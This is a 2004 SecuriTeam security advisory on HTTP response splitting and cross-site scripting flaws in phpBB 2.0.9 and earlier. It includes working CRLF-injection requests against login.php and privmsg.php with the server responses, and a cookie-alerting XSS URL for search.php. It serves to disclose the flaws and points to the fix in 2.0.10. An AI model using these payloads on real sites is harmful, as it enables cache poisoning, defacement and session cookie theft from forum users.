[UNIX] phpBB HTTP Response Splitting and Cross Site Scripting Vulnerabilities
From: SecuriTeam (support_at_securiteam.com)
Date: 07/22/04
- Previous message: SecuriTeam: "[NT] Medal of Honor Remote Buffer Overflow"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 22 Jul 2004 18:26:38 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
phpBB HTTP Response Splitting and Cross Site Scripting Vulnerabilities
------------------------------------------------------------------------
SUMMARY
<http://www.phpBB.com> phpBB is "a high powered, fully scalable, and
highly customizable open-source bulletin board package. phpBB has a
user-friendly interface, simple and straightforward administration panel,
and helpful FAQ. Based on the powerful PHP server language and your choice
of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the
ideal free community solution for all web sites."
phpBB is prone to cross-site scripting and HTTP response splitting
attacks.
DETAILS
Vulnerable Systems:
* phpBB versions 2.0.9 and prior
Immune Systems:
* phpBB version 2.0.10
HTTP Response Splitting:
Two of the scripts in the PhpBB package are vulnerable to HTTP response
splitting. The scripts in question are:
* /phpBB2/privmsg.php ('mode' parameter)
* /phpBB2/login.php ('redirect' parameter)
These vulnerabilities may allow an attacker to perform various attacks
such as web cache poisoning, cross user defacement, hijacking pages with
sensitive user information and perform cross-site scripting attacks.
Detailed information on HTTP Response Splitting can be found in the white
paper <http://www.sanctuminc.com/pdf/WhitePaper_HTTPResponse.pdf> "HTTP
Response Splitting, Web Cache Poisoning Attacks, and Related Topics" by
Amit Klein.
Notes: The HTTP response splitting vulnerabilities do not require the
attacker to be logged on to the application. These vulnerabilities should
work on Microsoft web servers, WebSTAR and Xitami. Some simple examples
are provided below which demonstrate the issue. The following request will
cause the application to return a split response (REQUEST and RESPONSE ARE
WORD-WRAPPED!):
[REQUEST]
POST /phpBB2/login.php HTTP/1.0
Host: SERVER
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Content-Type: application/x-www-form-urlencoded
Content-length: 129
logout=foobar&redirect=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTT
P/1.0%20200%20OK%0d%0aContent-Length:%207%0d%0a%0d%0aGotcha!
[RESPONSE]
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 14 Jul 2004 09:48:04 GMT
Content-type: text/html
X-Powered-By: PHP/4.3.4
Set-Cookie: phpbb2mysql_data=a%3A0%3A%7B%7D; expires=Thu, 14-Jul-2005
09:48:04 GMT; path=/
Set-Cookie: phpbb2mysql_sid=b389d63f8226cc6c8ad349b3aadf41f3; path=/
Refresh: 0; URL=http://SERVER/phpBB2foobar
Content-Length: 0
HTTP/1.0 200 OK
Content-Length: 7
Gotcha!
..
..
..
Another example:
[REQUEST]
GET /phpBB2/privmsg.php?mode=foobar%0d%0aContent-Length:%200%0d%0a%0d
%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:%207%0d%0a%0d%0aGotcha!
HTTP/1.0
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Host: SERVER
[RESPONSE]
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 14 Jul 2004 12:42:17 GMT
Content-type: text/html
X-Powered-By: PHP/4.3.4
Set-Cookie: phpbb2mysql_data=a%3A0%3A%7B%7D; expires=Thu, 14-Jul-2005
12:42:17 GMT; path=/
Set-Cookie: phpbb2mysql_sid=74d20cacbfcd9d7b16e0bb86a345aea3; path=/
Refresh: 0; URL=http://SERVER/phpBB2login.php?redirect=privmsg
php&folder=inbox&mode=foobar
Content-Length: 0
HTTP/1.0 200 OK
Content-Length: 7
Gotcha!&sid=74d20cacbfcd9d7b16e0bb86a345aea3
..
..
..
Cross-Site Scripting:
When gpc magic quotes are turned off in php.ini, the script
'/phpBB2/search.php' is vulnerable to XSS in the 'search_author'
parameter. This vulnerability may lead to theft of cookies associated with
the domain, or execution of client-side scripts in the user's browser. A
simple example follows:
http://SERVER/phpBB2/search.php?search_author='<scr!pt>alert(document.cookie)</scr!pt>
Patch Availability:
The above-mentioned vulnerabilities are fixed in the newer 2.0.10 version.
Users are encouraged to upgrade to the newer version.
ADDITIONAL INFORMATION
The information has been provided by <mailto:ory.segal@sanctuminc.com>
Ory Segal.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NT] Medal of Honor Remote Buffer Overflow"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- PhpBB HTTP Response Splitting & Cross Site Scripting vulnerabilities
... ---[PhpBB HTTP Response Splitting & Cross Site Scripting vuln. ... Two
scripts are vulnerable to HTTP Response Splitting attacks: ... The HTTP Response Splitting
vulnerabilities do not require ... (Bugtraq) - [UNIX] Comdev eCommerce Cross Site Scripting
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... The Comdev eCommerce has
been found to contain multiple cross site ... scripting vulnerabilities that allow a remote
attacker to include ... The following URLs can be used to trigger the cross site scripting
... (Securiteam) - [NT] Multiple XSS vulnerabilities in Microsoft SharePoint Portal Server
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Several cross-site scripting
vulnerabilities have been found in SharePoint ... * Microsoft SharePoint Portal Server
2001 SP 2 ... (Securiteam) - [NT] CA ARCServe Backup for Laptops and Desktops Multiple Buffer Overflow Vulnerabilities
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... CA ARCServe Backup for Laptops
and Desktops Multiple Buffer Overflow ... Remote exploitation of multiple buffer overflow
vulnerabilities in ... rxsGetSubDirs, rxsGetServerDBPathName, rxsSetServerOptions,
rxsDeleteFile, ... (Securiteam) - [NT] Novell eDirectory Multiple Vulnerabilities
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Novell eDirectory Multiple
Vulnerabilities ... Three different vulnerabilities were discovered in Novell's eDirectory
... NCP over IP length Heap Overflow: ... (Securiteam)